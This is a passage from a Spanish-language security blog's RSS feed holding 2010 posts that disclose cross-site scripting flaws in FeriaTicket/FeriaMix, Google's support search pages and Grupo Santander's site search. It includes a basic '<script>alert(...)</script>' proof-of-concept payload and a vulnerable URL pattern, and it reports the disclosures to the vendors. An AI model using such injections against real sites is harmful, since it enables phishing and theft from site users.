<p style="text-align: center;"><a href="http://blog.zerial.org/wp-content/uploads/2010/12/feriamix.png"><img class="aligncenter size-full wp-image-2012" title="feriamix" src="http://blog.zerial.org/wp-content/uploads/2010/12/feriamix.png" alt="" width="480" height="192" /></a></p>
<p style="text-align: center;">
<p>Prueba de concepto <strong>FeriaTicket</strong>:</p>
<p style="text-align: center;"><a href="http://blog.zerial.org/wp-content/uploads/2010/12/feriaticket.png"><img class="aligncenter size-full wp-image-2013" title="feriaticket" src="http://blog.zerial.org/wp-content/uploads/2010/12/feriaticket.png" alt="" width="520" height="160" /></a></p>
<p>La empresa afectada fue avisada vía twitter al no encontrar ningun correo de contacto, pero no dieron respuesta.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fxss-en-el-sitio-web-de-feriaticket-y-feriamix%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/xss-en-el-sitio-web-de-feriaticket-y-feriamix/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/xss-en-el-sitio-web-de-feriaticket-y-feriamix/"  data-text="XSS en el sitio web de FeriaTicket y FeriaMix" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/xss-en-el-sitio-web-de-feriaticket-y-feriamix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>XSS En todos los sitios de Google</title>
		<link>http://blog.zerial.org/seguridad/xss-en-todos-los-sitios-de-google/</link>
		<comments>http://blog.zerial.org/seguridad/xss-en-todos-los-sitios-de-google/#comments</comments>
		<pubDate>Tue, 16 Nov 2010 13:18:26 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1943</guid>
		<description><![CDATA[Hasta los más grandes tienen sus errores y vulnerabilidades más estúpidas. Ahora es el turno de Google, aunque ya corrigieron el problema, me gustaria darlo a conocer. El problema lo corrigieron (parcialmente) casi 30 minutos luego de haberlo reportado, sin embargo, la gente del Google Security Team, me comentaron que ya lo habían reportado. Sin [...]]]></description>
			<content:encoded><![CDATA[<p>Hasta los más <em>grandes</em> tienen sus errores y vulnerabilidades más estúpidas. Ahora es el turno de Google, aunque ya corrigieron el problema, me gustaria darlo a conocer.</p>
<p>El problema lo corrigieron (<em>parcialmente</em>) casi 30 minutos luego de haberlo reportado, sin embargo, la gente del Google Security Team, me comentaron que ya lo habían reportado. Sin embargo, lo habían corregido parcialmente, ya que aún existían sitios que tenian el problema. Por ejemplo, corrigieron el problema en docs.google.com, www.google.com y en mail.google.com, pero en labs.google.com, code.google.com y otros seguía existiendo. Cuando me dijeron que ya lo habían corregido, les reporté que la vulnerabilidad continuaba en algunos sitios, y luego de esto lo corrigieron.</p>
<p>Hasta la fecha, al parecer ya están todos los subdominios corregidos.</p>
<p><img class="aligncenter size-full wp-image-1950" title="code_google_alert" src="http://blog.zerial.org/wp-content/uploads/2010/11/code_google_alert.png" alt="" width="504" height="167" /></p>
<p><span id="more-1943"></span></p>
<p>El error es un XSS bastante <em>básico</em>, que puede ser explotado al no filtrar los parametros de entrada del input de búsqueda en los sitios de ayuda y soporte de Google. Las URLs vulnerables eran del tipo <strong>*.google.com/support/bin/search.py</strong>.</p>
<p><img class="aligncenter size-full wp-image-1955" title="code_google_source" src="http://blog.zerial.org/wp-content/uploads/2010/11/code_google_source.png" alt="" width="456" height="564" /><br />
El codigo fuente, al no filtrar los datos de entrada<br />
<img class="aligncenter size-full wp-image-1956" title="video_google_h1" src="http://blog.zerial.org/wp-content/uploads/2010/11/video_google_h1.png" alt="" width="503" height="324" /></p>
<p>Insertando un IFRAME<br />
<img class="aligncenter size-full wp-image-1957" title="video_google_iframe" src="http://blog.zerial.org/wp-content/uploads/2010/11/video_google_iframe.png" alt="" width="495" height="594" /></p>
<p>Como comentario final, me gustaria dejar en claro que Google se portó muy bien, respondió todos los correos relacionados a estos reportes y solucionó los problemas muy brevemente.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fxss-en-todos-los-sitios-de-google%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/xss-en-todos-los-sitios-de-google/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/xss-en-todos-los-sitios-de-google/"  data-text="XSS En todos los sitios de Google" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/xss-en-todos-los-sitios-de-google/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Grupo Santander: También se suma a la moda del XSS</title>
		<link>http://blog.zerial.org/seguridad/grupo-santander-tambien-se-suma-a-la-moda-del-xss/</link>
		<comments>http://blog.zerial.org/seguridad/grupo-santander-tambien-se-suma-a-la-moda-del-xss/#comments</comments>
		<pubDate>Fri, 13 Aug 2010 14:30:06 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1833</guid>
		<description><![CDATA[Así es, pareciera ser que los errores de programación (bug) que dejan expuestos a los usuarios mediante vulnerabilidades Cross-Site Scripting (XSS) estan de moda, es increible ver la cantidad de sistemas de todo tipo que tienen este tipo de vulnerabilidad. Desde un simple sitio web de noticias hasta un sistema bancario. La unica explicación que [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2010/08/ladronPenTesting.jpg"><img class="alignleft size-full wp-image-1849" title="ladronPenTesting" src="http://blog.zerial.org/wp-content/uploads/2010/08/ladronPenTesting.jpg" alt="" width="213" height="141" /></a>Así es, pareciera ser que los errores de programación (bug) que dejan expuestos a los usuarios mediante vulnerabilidades Cross-Site Scripting (XSS) estan de moda, es increible ver la cantidad de sistemas de todo tipo que tienen este tipo de vulnerabilidad. Desde un simple sitio web de noticias hasta un sistema bancario. La unica explicación que puedo encontrar es que al tratarse de una vulnerabilidad que afecta a los usuarios y no a las empresas, le bajan el perfil y no se preocupan en corregirla cuando son reportadas. Que sepan tu contraseña, que cambien tu información, que sepan información privada tuya o que puedan acceder a tu cuenta sin tu permisos solamente te afecta a ti, el dueño del sitio se puede lavar las manos.<br />
La mayoría de los XSS se producen en buscadores y en <em>mensajes de error</em>.</p>
<p><span id="more-1833"></span></p>
<p>Por lo general son descuidados y permiten la inyección de código html o javascript en los campos &#8220;buscar&#8221; de los buscadores de cada sitio. Por ejemplo en el sitio web del <a href="http://www.santander.com">Grupo Santander</a>:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/08/santander_buscador.png"><img class="aligncenter size-full wp-image-1855" title="santander_buscador" src="http://blog.zerial.org/wp-content/uploads/2010/08/santander_buscador.png" alt="" width="423" height="132" /></a>Si inyectamos código HTML y JavaScript para desplegar una alerta, como <strong>&lt;script&gt;alert(/it sucks/)&lt;/script&gt;</strong> o similar, veremos como el navegador interpretará el código.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/08/santander_buscador_xss1.png"><img class="aligncenter size-full wp-image-1856" title="santander_buscador_xss1" src="http://blog.zerial.org/wp-content/uploads/2010/08/santander_buscador_xss1.png" alt="" width="394" height="125" /></a><a href="http://blog.zerial.org/wp-content/uploads/2010/08/santander_buscador_xss2.png"><img class="aligncenter size-full wp-image-1858" title="santander_buscador_xss2" src="http://blog.zerial.org/wp-content/uploads/2010/08/santander_buscador_xss2.png" alt="" width="431" height="166" /></a></p>
<p>En este caso no existe el riesgo del robo de identidad pero si existe la posibilidad de realizar phishing usando la confianza del dominio &#8220;<em>Santander.com</em>&#8220;</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fgrupo-santander-tambien-se-suma-a-la-moda-del-xss%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/grupo-santander-tambien-se-suma-a-la-moda-del-xss/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/grupo-santander-tambien-se-suma-a-la-moda-del-xss/"  data-text="Grupo Santander: También se suma a la moda del XSS" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/grupo-santander-tambien-se-suma-a-la-moda-del-xss/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

